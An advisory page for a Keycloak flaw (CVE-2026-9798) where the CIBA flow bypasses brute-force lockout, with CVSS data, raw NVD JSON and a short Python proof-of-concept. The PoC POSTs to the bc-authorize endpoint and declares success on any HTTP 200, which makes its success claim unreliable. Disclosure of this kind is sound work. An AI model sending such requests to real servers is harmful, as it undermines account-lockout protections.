Security Vulnerability Report
中文
CVE-2026-9798 CVSS 4.3 MEDIUM

CVE-2026-9798

Published: 2026-05-28 06:16:29
Last Modified: 2026-05-28 06:16:29

Description

A flaw was found in Keycloak, an open-source identity and access management solution. When a user account is temporarily locked due to repeated failed login attempts, an attacker with valid client credentials can exploit the Client-Initiated Backchannel Authentication (CIBA) flow to bypass this brute-force protection. This allows continued authentication attempts and token issuance even when the account should be locked, potentially enabling further unauthorized access attempts.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Keycloak (具体受影响版本请参考供应商安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "https://keycloak.example.com" realm = "master" client_id = "vulnerable_client" client_secret = "client_secret_value" login_hint = "[email protected]" # The CIBA endpoint that may bypass the lock check url = f"{target_url}/realms/{realm}/protocol/openid-connect/bc-authorize" payload = { "client_id": client_id, "client_secret": client_secret, "login_hint": login_hint, "scope": "openid", "binding_message": "Test" } # Send request to bypass brute-force protection r = requests.post(url, data=payload) if r.status_code == 200: print("[+] Exploit successful: Protection bypassed.") print("[+] Auth Req ID:", r.json().get("auth_req_id")) else: print("[-] Failed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9798", "sourceIdentifier": "[email protected]", "published": "2026-05-28T06:16:29.330", "lastModified": "2026-05-28T06:16:29.330", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Keycloak, an open-source identity and access management solution. When a user account is temporarily locked due to repeated failed login attempts, an attacker with valid client credentials can exploit the Client-Initiated Backchannel Authentication (CIBA) flow to bypass this brute-force protection. This allows continued authentication attempts and token issuance even when the account should be locked, potentially enabling further unauthorized access attempts."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-305"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-9798", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2482470", "source": "[email protected]"}]}}